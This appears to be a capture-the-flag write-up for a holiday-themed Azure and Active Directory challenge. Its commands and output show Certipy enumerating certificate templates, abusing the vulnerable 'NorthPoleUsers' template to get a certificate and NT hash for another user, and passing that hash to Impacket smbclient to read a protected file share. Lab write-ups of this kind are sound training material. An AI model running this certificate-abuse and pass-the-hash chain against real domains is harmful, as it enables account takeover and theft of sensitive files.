Oh golly! It looks like Alabaster deployed some vulnerable Azure Function App Code he got from ChatNPT.
Don't get me wrong, I'm all for testing new technologies. The problem is that Alabaster didn't review the generated code and used the Geese Islands Azure production environment for his testing.
I'm worried because our Active Directory server is hosted there and Wombley Cube's research department uses one of its fileshares to store their sensitive files.
I'd love for you to help with auditing our Azure and Active Directory configuration and ensure there's no way to access the research department's data.
Since you have access to Alabaster's SSH account that means you're already in the Azure environment. Knowing Alabaster, there might even be some useful tools in place already.
For this challenge, we are tasked with performing a security audit of the Active Directory environment that is tied to the prior challenge, Certificate SSHenanigans. Solving this challenge involved enumeration of Azure REST API endpoints to find domain information & credentials. Then, using all of that to identify & exploit certificate vulnerabilites in the Active Directory environment.
We start out with our ssh connection as alabaster from the prior challenge. We can send a curl request to an api endpoint with our token from the prior challenge to enumerate key vaults.
The next step is to get a vault cookie from the API endpoint & then use that cookie to enumerate domain information through the key vault identified in our last step.
Next we use these credentials to:
A) Enumerate other users on the machine using the Impacket tools conveniently placed on the machine. We identify wombleycube in this step as a target user.
B) Look for certificate vulnerabilities that we can exploit to gain access to wombley's account. We can find that there
alabaster@ssh-server-vm:/dev/shm/sleepystitch33$ /home/alabaster/impacket/certipy find -u elfy@northpole^Cocal -p Passw0rd -dc-ip 172.16.126.128
alabaster@ssh-server-vm:/dev/shm/sleepystitch33$ ~/impacket/certipy find -u elfy@northpole.local -p 'J4`ufC49/J4766' -dc-ip 10.0.0.53
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'northpole-npdc01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'northpole-npdc01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'northpole-npdc01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Got CA configuration for 'northpole-npdc01-CA'
[*] Saved BloodHound data to '20240103070919_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20240103070919_Certipy.txt'
[*] Saved JSON output to '20240103070919_Certipy.json'
alabaster@ssh-server-vm:/dev/shm/sleepystitch33$
Our output identified NorthPoleUsers as a vulnerable template.
From here, we can exploit the certificate vulnerability using certipy. We can use this to request a certificate as another user, in this case WombleyCube
alabaster@ssh-server-vm:/dev/shm/sleepystitch33$ certipy req -u 'elfy@northpole.local' -p'J4`ufC49/J4766' -dc-ip '10.0.0.53' -target 'npdc01.northpole.local' -ca 'northpole-npdc01-CA' -template 'NorthPoleUsers' -upn 'wombleycube@northpole.local'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 68
[*] Got certificate with UPN 'wombleycube@northpole.local'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'wombleycube.pfx'
alabaster@ssh-server-vm:/dev/shm/sleepystitch33$
alabaster@ssh-server-vm:/dev/shm/sleepystitch33$ certipy auth -pfx 'wombleycube.pfx' -username 'wombleycube' -domain 'northpole.local' -dc-ip 10.0.0.53
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: wombleycube@northpole.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'wombleycube.ccache'
[*] Trying to retrieve NT hash for 'wombleycube'
[*] Got hash for 'wombleycube@northpole.local': aad3b435b51404eeaad3b435b51404ee:5740373231597863662f6d50484d3e23
Then, we authenticate the certificate against certipy in order to get an NT hash.
The NT hash allows us to authenticate as wombleycube using SMBClient to access files on the FileShare share. We get a bunch of cookie recipes! Plus, a passphrase for the Door Access Speaker, & the flag for our challenge.
alabaster@ssh-server-vm:/dev/shm/sleepystitch33$ /home/alabaster/impacket/smbclient.py -hashes aad3b435b51404eeaad3b435b51404ee:5740373231597863662f6d50484d3e23 northpole.local/wombleycube@10.0.0.53
Impacket v0.11.0 - Copyright 2023 Fortra
Type help for list of commands
# shares
ADMIN$
C$
D$
FileShare
IPC$
NETLOGON
SYSVOL
# cd FileShare
[-] No share selected
# use FileShare
# ls
drw-rw-rw- 0 Wed Jan 3 01:13:58 2024 .
drw-rw-rw- 0 Wed Jan 3 01:13:55 2024 ..
-rw-rw-rw- 701028 Wed Jan 3 01:13:58 2024 Cookies.pdf
-rw-rw-rw- 1521650 Wed Jan 3 01:13:58 2024 Cookies_Recipe.pdf
-rw-rw-rw- 54096 Wed Jan 3 01:13:58 2024 SignatureCookies.pdf
drw-rw-rw- 0 Wed Jan 3 01:13:58 2024 super_secret_research
-rw-rw-rw- 165 Wed Jan 3 01:13:58 2024 todo.txt
#
